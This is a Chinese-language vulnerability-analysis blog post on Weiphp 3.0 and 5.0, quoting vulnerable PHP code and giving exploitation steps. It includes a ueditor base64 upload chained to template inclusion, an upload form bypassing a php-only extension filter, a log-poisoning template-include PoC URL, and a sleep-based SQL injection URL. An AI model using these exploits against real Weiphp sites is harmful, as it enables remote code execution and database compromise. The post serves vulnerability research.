Weiphp3.0&&5.0前台rce&&sql注入分析
你回来吗 发表于 黑龙江 漏洞分析 1284浏览 · 2024-02-01 16:42

Weiphp3.0&&5.0前台rce&&sql注入分析

Background

Weiphp是一个基于Thinkphp开发的小程序端广泛使用的框架,曾经在某次看小程序时候发现这套cms,很久以前就看了weiphp3.0和5.0的代码,虽然网上已经有很多漏洞分析,但是我比对了一下,发现和我分析到的还是不完全一样的,所以写一篇文章将此记录

0x01 Weiphp3.0 前台rce

3.0使用的是Thinkphp3.0的板子,但实际上现在互联网还是有一些公开资产

首先thinkphp3.0这种低版本一般带的一些静态依赖的组件也是低版本

比如static里面存在一个ueditor,ueditor低版本会有各种奇奇怪怪的玩法,而在ueitor/php/scrawlUp.php里面你可以看到是一个文件上传的接口

//获取当前上传的类型
    $action = htmlspecialchars( $_GET[ "action" ] );
    if ( $action == "tmpImg" ) { // 背景上传
        //背景保存在临时目录中
        $config[ "savePath" ] = $tmpPath;
        $up = new Uploader( "upfile" , $config );
        $info = $up->getFileInfo();
        /**
         * 返回数据,调用父页面的ue_callback回调
         */
        echo "<script>parent.ue_callback('" . $info[ "url" ] . "','" . $info[ "state" ] . "')</script>";
    } else {
        //涂鸦上传,上传方式采用了base64编码模式,所以第三个参数设置为true
        $up = new Uploader( "content" , $config , true );
        //上传成功后删除临时目录
        if(file_exists($tmpPath)){
            delDir($tmpPath);
        }
        $info = $up->getFileInfo();
        echo "{'url':'" . $info[ "url" ] . "',state:'" . $info[ "state" ] . "'}";
    }

而且action参数是可控的,如果设置为空,将会调用这个涂鸦上传使用base64编码形式,继续跟进

根据构造函数继续跟进$fieleField

在这里可以看见是post形式,所以我们post提交一个参数为content的 内容为base64编码的,将会生成一个图片

$info = $up->getFileInfo();
        echo "{'url':'" . $info[ "url" ] . "',state:'" . $info[ "state" ] . "'}";

而且在这里可以看到具体的信息位置,相当于我们已经可控了一个文件内容,虽然不能直接shell,但是thinkphp经常出现文件包含可控的点,我们还可控文件内容和路径信息,就可以直接包含来shell

翻了翻这些控制器,发现有一个论坛控制器

class ForumController extends HomeController {  
    // bbs首页
    public function index($name = 'Forum', $temp = 'index') {
        ! isset ( $_GET ['model'] ) || $name = I ( 'model', 'Forum' );
        ! isset ( $_GET ['temp'] ) || $name = I ( 'temp', 'index' );

        $model = M ( 'Model' )->getByName ( $name );
        $this->assign ( 'model', $model );
        // dump ( $model );

        $this->right_data ( $model );

        unset ( $map );
        $page = I ( 'p', 1, 'intval' );
        $row = empty ( $model ['list_row'] ) ? 20 : $model ['list_row'];
        ! isset ( $_GET ['cid'] ) || $map ['cid'] = intval ( $_GET ['cid'] );
        $list_data ['list_data'] = M ( $name )->where ( $map )->order ( 'is_top desc, id DESC' )->page ( $page, $row )->select ();
   ......
   ......
     $this->display ( $temp );

因为I函数就是一个正常输入函数,temp参数可控,最后会用display渲染$temp变量

漏洞利用具体步骤

首先 Wei/Public/static/ueditor/php/scrawlUp.php

content=base64encode

生成找到具体文件地址

然后Post提交:

&temp=Public/static/ueditor/php/上传文件.png

即可rce

0x02 Weiphp5.0 前台rce

5.0使用了thinkphp5作为板子

搜索File.php相关发现实际上有很多个,而且也有很多个upload方法

if (!is_login()){
            $return = array(
                    'status' => 0,
                    'code'=>0,
                    'info' => '上传失败,请先登录',
                    'msg' => '上传失败,请先登录',
                    'data' => ''
            );
            return json_encode($return);
        }

有的像这样做了登陆检测

但这个目录下的home/model/File.php upload_files可是直接访问

if (empty($return['msg'])) {
        //判断扩展名是不是php,不支持上传php文件
        $info = $file->getInfo();
        $info = pathinfo($info['name']);
        if (strtolower($info['extension']) == 'php') {
            $return['msg'] = '不支持上传该文件类型';
            $return['code'] = 0;
            $redata[$key] = $return;
            return $redata;
        }

虽然他做了如上的检测,但是后缀只ban了php,有的可以使用 phtml这种其它后缀绕过,一些版本可以用末尾加空格绕过,而且上传成功的json字符串里面也包含路径信息

构造一个 public/index.php/home/File/upload_root post传输数据的表单 就可以直接shell了

<html>
<body>
<form action="http://127.0.0.1/public/index.php/home/File/upload_root" method="post"
enctype="multipart/form-data">
<input type="file" name="download" id="file" />  
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

0x03 Weiphp5.0 前台rce v2.0

这个rce也是一直在网上找不到的 关键点在于 在application/common/controller/Base.php/中的common_add方法和common_list方法,两个方法都有一个共同点 就是$templateFile 都可通过参数绑定的方式来进行文件包含渲染

public function common_lists($model = null, $templateFile = '', $order = 'id desc')
    {
        // 获取模型信息
        is_array($model) || $model = $this->getModel($model);
        $list_data = $this->_get_model_list($model, $order);
        $this->assign($list_data);

        empty($templateFile) && $templateFile = 'lists';

        return $this->fetch($templateFile);
    }
public function common_add($model = null, $templateFile = '', $post_data = [])
    {
        is_array($model) || $model = $this->getModel($model);
        if (request()->isPost()) {
            try {
                $Model = D($model['name']);
            } catch (\Exception $e) {
                if (strpos($e->getMessage(), 'not exists')) {
                    $Model = M($model['name']);
                } else {
                    $this->error('找不到操作模型');
                }
            }
            // 获取模型的字段信息
            $data = empty($post_data) ? input('post.') : $post_data;
            $data = $this->checkData($data, $model);
            // dump($data);exit;
            $id = $Model->insertGetId($data);
            if ($id) {
                $this->_saveKeyword($model, $id);

                // 清空缓存
                method_exists($Model, 'clearCache') && $Model->clearCache($id, 'add');

                $this->success('添加' . $model['title'] . '成功!', U('lists?model=' . $model['name'], $this->get_param));
            } else {
                $this->error($Model->getError());
            }
        } else {
            $fields = get_model_attribute($model);
            $this->assign('fields', $fields);
            // dump($fields);
            empty($templateFile) && $templateFile = 'add';

            return $this->fetch($templateFile);
        }
    }

这个参数绑定是很有意思的,就是我们在调用时候会经过Module.php的处理

// 自动获取请求变量
                $vars = $this->rule->getConfig('url_param_type')
                ? $this->request->route()
                : $this->request->param();
                $vars = array_merge($vars, $this->param);

通过param方法获取输入的参数,之后进入invokeReflectMethod

在这里进行参数绑定然后调用方法,内容可以包含进日志插入UA头

最后poc如下 public/index.php/coupon/api/common_add?templateFile=日志地址

0x04 Weiphp5.0前台sql注入

看网上分析的都是什么 bind_follow exp注入,但是实际上在application/material的控制器里面在查询title那里

$title = I('title');
        // dump($title);exit;
        if (!empty($title)) {
            $map['title'] = array(
                'like',
                "%$title%"
            );
            $where .= " and `title` like '%$title%'";
        }
        $count = M()->query("SELECT COUNT( distinct `group_id`) AS tp_count FROM `wp_material_news` WHERE {$where} LIMIT 1");

​ title没有被任何过滤直接代入了查询中

public/index.php/Material/Material/material_lists?title=-1'or sleep(3) --

就可以直接注入了

0 条评论
某人
表情
可输入 255